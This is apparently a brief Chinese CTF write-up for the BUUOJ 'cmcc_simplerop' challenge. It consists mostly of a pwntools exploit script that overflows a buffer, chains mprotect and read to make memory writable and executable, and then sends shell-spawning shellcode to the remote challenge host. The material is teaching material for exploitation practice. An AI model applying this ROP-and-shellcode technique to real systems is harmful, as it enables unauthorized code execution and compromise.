cmcc_simplerop

cmcc_simplerop

这个题目啊,非常的简单,mprotect修改内存权限就可以了,然后再向修改的地方写入shellcode就可以了,我们就不checksec,看看有漏洞的地方:

1

payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context.log_level = 'debug'
context.arch = 'i386'
context.os = 'linux'

elf = ELF("./simplerop")
sh = remote("node5.buuoj.cn",27478)
sh.recvuntil("Your input :")
mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']
pop_3_ret = 0x0809de85

start_addr = 0x80e9000


payload = b"A"*(0x1c+0x4) + p32(mprotect_addr) + p32(pop_3_ret) + p32(start_addr) + p32(0x2000) + p32(0x7) + p32(read_addr) + p32(start_addr) + p32(0) + p32(start_addr) + p32(0x200)

sh.sendline(payload)
shellcode = asm(shellcraft.sh())
sh.send(shellcode)
sh.interactive()

# Path: payload.py